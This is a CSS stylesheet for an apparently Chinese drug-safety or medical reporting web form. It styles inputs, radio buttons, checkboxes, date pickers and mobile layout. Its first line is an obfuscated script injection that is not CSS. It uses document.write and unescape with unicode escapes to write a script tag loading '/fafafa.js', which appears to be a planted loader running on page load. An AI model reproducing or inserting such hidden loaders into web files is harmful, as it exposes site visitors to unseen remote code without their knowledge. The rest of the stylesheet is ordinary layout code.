<script>document.write(unescape("%3Cscript%20src%3D%22\u002f\u0066\u0061\u0066\u0061\u0066\u0061\u002e\u006a\u0073%22%20type%3D%27text/javascript%27%3E%3C/script%3E"));</script>.simplepage {
    background-color: rgba(248, 248, 248, 1);
}


.mtop10{
    margin-top: 10px;
}

.mtop30{
    margin-top: 30px;
}

.mtop40{
    margin-top: 40px;
}


.mtop80{
    margin-top:80px;
}


.mr30 {
    margin-right: 30px;
}

.mtop26{
    margin-top: 26px;
}

.save-info{
  overflow: hidden;
}

#yaopininfoContainers{
  margin-bottom: 20px;
}

.group-form-page {
    background-color: rgba(255, 255, 255, 1);
    width: 1180px;
    margin: 64px 0 104px 0;
    position: relative;
}



.group-form-page .text-group-form-top {
    width: 100%;
    padding: 40px 60px;
    box-sizing: border-box;
    text-align: left;
    border-bottom: 1px solid rgba(230, 230, 230, 0.5);
}

.group-form-page .text-group-form-top .text-title {
    height: 48px;
    overflow-wrap: break-word;
    color: rgba(249, 156, 52, 1);
    font-size: 20px;
    font-family: MicrosoftYaHei-Bold;
    font-weight: 700;
    text-align: left;
    line-height: 48px;
}

.group-form-page .text-group-form-top .text-wrapper-contents .text-title {
    overflow-wrap: break-word;
    font-size: 16px;
    font-family: MicrosoftYaHei-Bold;
    text-align: left;
    line-height: 24px;
    font-weight: bold;
}


.zhaopinInfo  .group-form-page .text-group-form-top .text-wrapper-contents .text-title{
    color: #333!important;
}


.group-form-page .text-group-form-top .text-wrapper-contents .text-desc-shengming {
    overflow-wrap: break-word;
    color: rgba(153, 153, 153, 1);
    font-size: 16px;
    font-family: MicrosoftYaHei;
    font-weight: normal;
    text-align: left;
    line-height: 24px;
}


.text-group-form-centers {
    padding: 0 60px;
    box-sizing: border-box;
    padding-top: 40px;
    text-align: left;
}

.text-group-form-centers .commom-title {
    overflow-wrap: break-word;
    color: rgba(51, 51, 51, 1);
    font-size: 20px;
    font-family: MicrosoftYaHei-Bold;
    font-weight: 700;
    text-align: left;
    white-space: nowrap;
    line-height: 30px;
}

.group-form-lines {
    background-color: rgba(230, 230, 230, 1);
    width: 810px;
    height: 1px;
    margin-top: 16px;
}


.block-form-line-width {
    width: 810px;
    /* height: 365px; */
    height: 349px;
    margin: 4px 0 0 0;
    flex-wrap: wrap;
}


.block-form-line-width .blockbh-left {
    width: 390px;
    height: 339px;
    margin-top: 0px;
}


.block-form-line-width .blockbh-right {
    width: 390px;
    height: 339px;
    margin: 0px 0 0 30px;
}


.text-wrapper-input {
    background-color: rgba(246, 246, 246, 1);
    border-radius: 4px;
    height: 55px;
    width: 390px;
    border: none;
    padding: 0 10px;
    margin: 14px 0 0 0 ;
}

.text-input-iselfother{
  width: 810px;
}


.text-group-label .text_02 {
    overflow-wrap: break-word;
    color: rgba(51, 51, 51, 1);
    font-size: 16px;
    font-family: MicrosoftYaHei;
    font-weight: normal;
    text-align: left;
    white-space: nowrap;
    line-height: 24px;
}

.errorMessage,
.requiredMessage {
    color: rgba(255, 46, 46, 1);
}


.icon2 {
    width: 12px;
    height: 12px;
    display: inline-block;
    margin-right: 6px;
    cursor: pointer;
    background: url(/image/icon-def.png) no-repeat;
}

.text-wrapper-age-infos {
    background-color: rgba(246, 246, 246, 1);
    border-radius: 4px;
    height: 55px;
    width: 200px !important;
}



.age-input-containers{
    display: flex;
    align-items: flex-start;
}


/* 隐藏原生的radio按钮 */
#radiolist{
    font-size: 14px;
    padding: 0 10px;
    line-height: 55px;
    margin-top: 14px;
}
 
/* 自定义外观的label，包括图标和文本 */
.yaopinsafe   input[type="radio" i] {
    background-color: initial;
    cursor: default;
    appearance: auto;
    box-sizing: border-box;
    margin: 3px 3px 0px 5px;
    padding: initial;
    border: initial;
    position: relative;
    top: -4px;
}

input {
    background: none;
    margin: 0px 4px;
    vertical-align: middle;
}

.yaopinsafe   .content-box {
    position: relative;
}

.yaopinsafe   select {
    padding: 0 10px;
    width: 100%;
    border: none;
    border-radius: 6px;
    background:url(/image/icon-arrow-downs.png) #f6f6f6;
    background-repeat: no-repeat;
    background-size: 19px 19px;
    background-position:   bottom 18px right 14px;
    line-height: 55px;
    width: 390px;
}

.yaopinsafe   select.text-input-eatselec{
    margin: 14px 0px 0 0;
    position: relative;
    left: -10px;
    width: 68px;
    padding-left: 10px;
    text-align: center;
    border-radius: 0 6px 6px 0;
}

.yaopinsafe   select::after {
    content: '▼'; /* 下箭头字符 */
    font-size: 14px; /* 字体大小 */
    position: absolute; /* 绝对定位 */
    right: 10px; /* 从右侧偏移 */
    top: 50%; /* 垂直居中 */
    transform: translateY(-50%); /* 垂直居中对齐 */
    pointer-events: none; /* 防止伪元素影响select的点击事件 */
    color: #777777;
}



.yaopinsafe  select:focus-visible {
    outline: none;
}

.yaopinsafe   select::-ms-expand {
    display: none;
}

.yaopinsafe   select option {
    border: none;
    color: #777777 !important;
    font-family: Arial;
}

.yaopinsafe   select::selection {
    background: #B7E1FF;
}



.boxzuojihao    input#areaCode {
    background-color: rgba(246, 246, 246, 1);
    border-radius: 4px;
    width: 100px;
    height: 55px;
}


.boxzuojihao   input#areaTel{
    background-color: rgba(246, 246, 246, 1);
    border-radius: 4px;
    width: 260px;
    height: 55px;
    margin-left: 10px;
}


.boxzuojihao   .box-input2  {
    background-color: rgba(102, 102, 102, 1);
    width: 10px;
    height: 1px;
    margin: 27px 0 0 10px;
}

#save1{
    padding-bottom: 60px;
}

#save3{
    padding-top: 16px; 
}

#save4,#save5,#save6,#take-care-wrapper{
  margin-top:64px
}

#save4  .mtop80,#save5  .mtop80,#save6  .mtop80,#take-care-wrapper  .mtop80{
  padding-top: 16px;
  margin-top: 0;
}


.hiswhat {
    padding-top: 20px;
}


.label-name { 
    overflow-wrap: break-word;
    color: rgba(51, 51, 51, 1);
    font-size: 16px;
    font-family: MicrosoftYaHei;
    font-weight:normal;
    text-align: left;
    white-space: nowrap;
    line-height: 24px;
}


.block-jibing-name-container {
    width: 810px;
    height: 55px;
    margin: 14px 0 0 0px;
}


.block-jibing-name-container:nth-child(1)     .span-label-name-isexit{
   margin-right: 12px;
}

.block-jibing-name-container:nth-child(2)     .span-label-name-isexit{
    margin-right: 20px;
 }

 .block-jibing-name-container:nth-child(3)     .span-label-name-isexit{
    margin-right: 20px;
 }


.hiswhat  .headerLine{
  margin-top: 30px;
}

#hisradiolist{
    padding:0px;
    font-size:16px;
    line-height: 55px;
    width: 110px;
}

#hisradiolist   .mgr{
    margin-right: 7px;
}

#hisradiolist2{
    padding:0px;
    font-size:16px;
    line-height: 55px;
}

#drinkinglist{
    padding: 0 20px;
    font-size: 16px;
    margin-top: 14px;
    line-height: 55px;
}

#drinkinglist   label.checkbox{
   margin-right: 7px
}


#drinkinglist   label.checkbox:last-child{
    margin-right: 0px
}

#drinkinglist  #nephropathy{
    margin-right: 0px
}

.hiswhat   .text-wrapper-hisname {
    background-color: rgba(246, 246, 246, 1);
    border-radius: 4px;
    height: 55px;
    width: 538px;
    border: none;
    padding: 0 10px;
}

.hiswhat  .span-label-name-isexit{
    overflow-wrap: break-word;
    color: rgba(51, 51, 51, 1);
    font-size: 16px;
    font-family: MicrosoftYaHei;
    font-weight: normal;
    text-align: left;
    white-space: nowrap;
    line-height: 19px;
    margin: 18px 10px 0 0px;
}

#drugNamecontainers  .span-commom-containers-label{
   margin-left: 20px;
}

.lablewrapper    label {
   margin-right: 30px;
}

.text-wrapper-one-line {
    width: 100%;
    height: 24px;
    margin: 30px 0 0 0;
}


.text-wrapper-drinking-infos {
    background-color: rgba(246, 246, 246, 1);
    border-radius: 4px;
    height: 55px;
}

.yaopin-containers{
    width: 810px;
    height: auto;
    flex-wrap: wrap;
}


#selectPage2{
  width: 390px;    
}
 
.inputcol3 >div{
    position: relative;
}

.inputcol3  .text-wrapper-input{
   width: 240px;
}

.inputcol3  .text-input-drug-detial-day    .istyle{
   position: absolute;
   right: 32px;
   top: 30px;
}

#drugDetialDay{
    padding-right: 48px;
}


.yaopin-containers    .width100 {
    width: 100%;
}

.text-input-drugCause {
    background-color: rgba(246, 246, 246, 1);
    border-radius: 4px;
    height: 55px;
    /* height: 150px; */
    width: 810px;
    margin: 14px 0 0 0;
    padding: 10px
}


.inp-date {
    background: url(/image/timeIcons.png) rgba(246, 246, 246, 1) center center no-repeat;
    background-size: 18px 18px;
    background-position-x: 352px;
}

.fontlineitem   .inp-date {
    width: 390px!important;
    overflow-wrap: break-word;
    color: rgba(102, 102, 102, 1);
    font-size: 14px;
    font-family: MicrosoftYaHei;
    font-weight: normal;
    text-align: left;
    white-space: nowrap;
    line-height: 21px;
}


.fontlineitem     .text-input-appearCourse{
    background-color: rgba(246, 246, 246, 1);
    border-radius: 4px;
    height: 150px;
    width: 810px;
    margin: 14px 0 0 0;
    padding: 10px;
}

.fontlineitem    .raddiostyle {
    margin-top: 14px;
    margin-right: 150px;
}

.fontlineitem   .raddiostyle:last-child{
    margin-right: 0px;
}


.fontlineitem   .text-input-textarea{
    background-color: rgba(246, 246, 246, 1);
    border-radius: 4px;
    height: 150px;
    width: 810px;
    margin: 14px 0 0 0px;
    padding: 10px;
}

.yaopin-containers   .paragraph-edit {
    overflow-wrap: break-word;
    color: rgba(153, 153, 153, 1);
    font-size: 14px;
    font-family: MicrosoftYaHei;
    font-weight: normal;
    text-align: justify;
    line-height: 28px;
    margin: 30px 0 0 0;
}

.text-line-span{
    width: 100%;
    overflow-wrap: break-word;
    color: rgba(51, 51, 51, 1);
    font-size: 16px;
    font-family: MicrosoftYaHei-Bold;
    font-weight: 700;
    text-align: left;
    white-space: nowrap;
    line-height: 24px;
    margin: 38px 0 0 0;
}

.block-yanzhengma{
  width: 100%;
}

.text-yanzhengma-wrapper {
    background-color: rgba(246, 246, 246, 1);
    border-radius: 4px;
    height: 55px;
    width: 300px;
}

.yanzhengma  .text-input-yzm{
   width: 300px;
}

.yanzhengma   .image-yzm{
    width: 170px;
    height: 55px;
    margin-left: 30px;
    margin-top: 14px;
}

.text-wrapper-submit-btn {
    background-color: rgba(249, 156, 52, 1);
    border-radius: 4px;
    height: 55px;
    line-height: 55px;
    width: 150px;
    margin: 40px 0 70px 0;
    text-align: center;
    cursor: pointer;
}


.yaopin-containers  .text-wrapper-submit-btn  .span-submit-info{
    color: rgba(255, 255, 255, 1);
    font-size: 18px;
    font-family: MicrosoftYaHei;
    font-weight: normal;
    text-align: center;
    white-space: nowrap;
}


.hidediv {
    display: none;
}

.nameTips {
    top: -93px;
    left: 96px;
}



.stateCase {
    width: 246px;
    z-index: 1;
    padding: 10px 20px;
    line-height: 2;
    position: absolute;
    background: #fff;
    border: 1px solid #dbd4cc;
}


.stateCase p span {
    color: orange;
    display: inline-block;
    margin-right: 10px;
}


.stateCase p span.blod {
    color: black;
}


.stateCase2 {
    width: 240px;
    right: 63px;
    top: 15px;
}

.stateCase3 {
    width: 240px!important;
    right: -238px;
    top: 8px;
}

.stateCase4 {
    width: 400px!important;
    right: -398px;
    top: 7px;
}

.stateCase5 {
    width: 240px;
    right: -241px;
    top: 8px;
}


.blod {
    font-weight: bold;
}

#radiosexlist   .inputradio {
    margin-right: 20px;
}


#radiosexlist   .inputradio:last-child{
    margin-right:0px;
}


.fontlineitem   .text-group-label{
    position: relative;
}


.pharmacy1list {
    margin-top: 0px;
    margin-left: 0px;
    line-height: 55px;
    font-size: 16px;
}


.other-result     textarea{
    background-color: rgba(246, 246, 246, 1);
    border-radius: 4px;
    height: 150px;
    width: 810px;
    margin: 14px 0 0 0;
    border: none;
    padding: 10px
}

.hisFactorydataStyle{
    height: 0;
    overflow: hidden;
}

.text-input-scpc {
    background-color: rgba(246, 246, 246, 1);
    border-radius: 4px;
    height: 55px;
    margin-top: 14px;
    width: 321px;
    border: none;
    padding: 0 10px;
    margin: 14px 0 0 0;
}

.scpc-input-containers{
    width: 390px;
    display: flex;
}

.sc-undefined{
    line-height: 55px;
    margin-top: 14px;
}

/*html 合并来的样式*/
.sh_content {
    clear: both;
    overflow: hidden;
    padding-bottom: 0;
}


 .mid-containers {
 /* width: 1180px; */
   width:100%;
   position: relative;
   margin: 0 auto;
      }
 .my-mid-containers{
    width: 1180px;
    position: relative;
    margin: 0 auto;
    text-align: center;
 }
 
 label.checkbox {
    padding-left: 24px;
    cursor: pointer;
    background: url(/image/checkboxicons.png) no-repeat left 3px;
    line-height: 22px;
    height: 21px;
    display: inline-block;
    background-size: 22px auto;
    font-size: 16px;
} 

label.checked {
  background-position:left 100%; 
} 
label.disabled{background-position:left 0px;}
 
.hRadio{
  padding-left: 24px; 
  display: inline-block;
  background: transparent url(../image/radioboxicons.png) no-repeat left top;
  height: 19px; 
  line-height:20px;
  cursor:pointer;
  vertical-align:middle;
  background-size: 18px auto;
  font-size: 16px;
}
 
.hRadio_Checked { 
  background-position: left -26px;
 }
 
 
.datetimepicker .table-condensed {
   background-color: #3e97db;
}

.datetimepicker thead,
.datetimepicker thead tr:first-child th.prev,
.datetimepicker thead tr:first-child th.next,
.datetimepicker thead tr:first-child th.prev,
.datetimepicker thead tr:first-child th.next,
.datetimepicker table tr td.active:active,
.datetimepicker table tr td.active:hover:active,
.datetimepicker table tr td.active.disabled:active,
.datetimepicker table tr td.active.disabled:hover:active,
.datetimepicker table tr td.active.active,
.datetimepicker table tr td.active:hover.active,
.datetimepicker table tr td.active.disabled.active,
.datetimepicker table tr td.active.disabled:hover.active {
    background-color: #3e97db;
}

.datetimepicker .table-condensed tbody {
  background-color: #fff;
}

.crc-pub-window {
    position: fixed;
    right: 10px;
    bottom: 20px;
    z-index: 102;
    width: 1180px;
    height: 794px;
    padding: 25px 16px 25px 16px;
    box-shadow: 0px 0px 15px rgba(0, 0, 0, .15);
    display: none;
    background: #FFFFFF;
    border-radius: 16px;
}

.input-text-eatselect-containers {
    display: flex;
}

.is-self-containers{
   display: none;
}



@media screen and (max-width:750px) {

    .input-text-eatselect-containers{
      width: 100%;
    }

    .text-input-drug-detial-time{
        width: calc(100% - 66px);
    }

    #radiosexlist .inputradio {
        margin-right: 10px;
    }

    #drugNamecontainers .span-commom-containers-label {
        margin-left: 0;
        margin-top: 14px;
    }

    .yaopinsafe select.text-input-eatselec{
        left: -2px;
    }

    .other-result{
       width: 100%;
    }

    .other-result textarea{
        width: 100%;   
    }

}

<!--0.00014591217041016-->